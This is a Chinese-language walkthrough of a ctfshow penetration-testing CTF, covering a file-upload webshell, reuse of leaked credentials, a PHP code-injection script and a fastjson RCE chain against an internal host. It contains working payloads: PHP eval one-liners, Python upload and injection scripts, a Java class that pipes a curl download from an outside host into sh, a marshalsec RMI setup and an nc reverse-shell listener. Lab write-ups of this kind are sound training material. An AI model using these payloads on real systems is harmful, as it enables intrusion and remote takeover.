2023年3月10日15时ctfshow举办的线上渗透赛,当时没有做出来,后期根据官方wp,做一下总结梳理
靶场环境
场景一:信息收集
![](https://i-blog.csdnimg.cn/blog_migrate/a32bfae1301ccbcca1051e8e28a070f5.png)
在主页下方查看帮助点开在最下方发现一条疑似作者的信息
![](https://i-blog.csdnimg.cn/blog_migrate/7e5dd1c1f22527878691d1d8620df26b.png)
去github搜索一下,果然发现该站的源代码
![](https://i-blog.csdnimg.cn/blog_migrate/d5798c91e1144984993b3eb21474dfdf.png)
在Anonymous-Chat-Room/client/photo_upload.php 中发现了文件上传漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/1236fec02cef57004169ecf88b4c9440.png)
getshell
利用这个漏洞,创建一句话木马并,编写python脚本
<?php eval($_POST[1]);?>
import requests
url ="https://i.am.ctfer.com/photo_upload.php"
files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}
response = requests.post(url=url,files=files)
print(response.text)
运行脚本,上传成功,并得到上传后的文件名
![](https://i-blog.csdnimg.cn/blog_migrate/c17bd1dfc45d665633f88b588c82e924.png)
使用hackbar,post一个1=phpinfo();脚本可以被成功执行
![](https://i-blog.csdnimg.cn/blog_migrate/6ab58d966307f741f146c7617c59e31e.png)
使用蚁剑连接这个shell
![](https://i-blog.csdnimg.cn/blog_migrate/8a3ef2d304f79c83b15b97fdc431c574.png)
成功连接
![](https://i-blog.csdnimg.cn/blog_migrate/222e5fc4164a6a3ca099f8d270d323e0.png)
场景二:继续寻找敏感信息
在/var/www/html/login.php 中,发现一个敏感信息,是一个邮箱和一个密码
![](https://i-blog.csdnimg.cn/blog_migrate/5d4df8e81aedf9d5db9c1ac0458e6668.png)
使用hacker_ctfshow@163.com / Hacker_ctfsh0w 去login.php登录一下(比赛当天因为各种原因,login.php未开放,无法访问)登陆到了网站后台管理页面,感觉可以利用的地方是上传头像的点,因为已经拿到了webshell,所以没有再上传文件。
![](https://i-blog.csdnimg.cn/blog_migrate/0f4c454a7c76431b847caf4ebe4dd554.png)
去登陆邮箱hacker_ctfshow@163.com试试看,密码Hacker_ctfsh0w
![](https://i-blog.csdnimg.cn/blog_migrate/68f44369d7ef2204b124535c1b5df3a3.png)
登录成功,收件箱有一封入职通知的邮件,该邮件是加密的,尝试弱口令密码123456发现成功解密邮件内容,内容如下
![](https://i-blog.csdnimg.cn/blog_migrate/7f7cde38db0e2c23509bc94e446a47fd.png)
根据邮件中的开发地址和登录key,登录到开发环境中,登陆后,发现xblog应用源码
![](https://i-blog.csdnimg.cn/blog_migrate/a10be1a87417027111b5b123af6f7b4f.png)
利用vscode的终端功能,直接getshell提权,拿下该服务器
![](https://i-blog.csdnimg.cn/blog_migrate/d9aa8a4f6ceefc2780b26243998afb25.png)
在www/xblog/c/t.php中$d存在逻辑问题,没有过滤带入了php文件,可以写马上传文件
![](https://i-blog.csdnimg.cn/blog_migrate/30332dacea805e6bd9047008669a9616.png)
场景三:继续getshell
邮件中还有其他信息,继续开发任务对应的测试版在 https://blog.ctfer.com
先登录/a/?log
![](https://i-blog.csdnimg.cn/blog_migrate/f34e4f3863d0ed6196bc002c49b9ce32.png)
根据indexphp中的实例,使用admin:123456成功登录并拿到cookie
![](https://i-blog.csdnimg.cn/blog_migrate/885c28cbedf72a7acef159efb951a908.png)
![](https://i-blog.csdnimg.cn/blog_migrate/2c342c8f339d624272610db308b8178f.png)
参考wp编写的python脚本,修改cookie值并运行
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-09 11:05:32
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
url = "https://blog.ctfer.com/c/t.php"
cookie={
"PHPSESSID":"7ed6c788655d7c4a7a397d41331b5666"
}
data={
"dat":'";eval($_POST[1]);?>',
"title":"1",
"content":"%20",
}
response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)
print(response.text)
![](https://i-blog.csdnimg.cn/blog_migrate/eea76de39e5c181a8595349794b8d740.png)
回显得到文件名{"result":"ok","pid":1}
木马地址为/p/1.php
使用剑蚁连接
![](https://i-blog.csdnimg.cn/blog_migrate/ba99a9b594ce186aa74262720b274ef1.png)
场景四:getshell后内网渗透
连接后打开终端ip addr show
![](https://i-blog.csdnimg.cn/blog_migrate/31da6147148ebcaee4cdaf58d1f1dc16.png)
使用ping联通测试,发现存活主机192.168.102.2
![](https://i-blog.csdnimg.cn/blog_migrate/8783164196f079bbcbbd2745057cb2d3.png)
对102.2主机的开放端口进行测试,发现存在8090的fastjson端口
![](https://i-blog.csdnimg.cn/blog_migrate/9bf13e0003a384031fd12ce62af4c312.png)
横向渗透
使用fastjson漏洞来实现rce,因为我没有vps,自己实验操作就到此为止了,下面的部分是ctfshow官方的wp
首先生成恶意class
public class ctfshow {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","curl https://your-shell.com/43.154.107.226:9999 |sh"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
vps挂恶意class
启动简单http服务
python3 -m http.server 3306
启动class
java -cp /home/ctfshow/tmp/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:3306/#ctfshow.class" 3389
开启监听端口
nc -lvvnp 9999
x.json文件
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps地址:3389/Exploit",
"autoCommit":true
}
}
a.sh文件
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json
使用curl发送json包
![](https://i-blog.csdnimg.cn/blog_migrate/209e88374af3749ac14d87354b46ff0c.png)
vps成功获得反弹shell
![](https://i-blog.csdnimg.cn/blog_migrate/81b61fc9d63f2f6307f6aadc9e5f4f16.png)
资产梳理
序号 | 资产类型 | 域名 | 内网IP | 权限 | 应用 |
1 | Linux | 172.17.0.2/16 | www-data | 匿名聊天应用 | |
2 | 敏感信息 | / | 普通权限 | 可收发邮件 | |
3 | Linux | / | root | 开发环境 | |
4 | Linux | 192.168.102.3 | www-data | 开发版blog应用 | |
5 | Linux | / | 192.168.102.2 | root | fastjson |
共计5个场景,4台服务器,涉及4个域名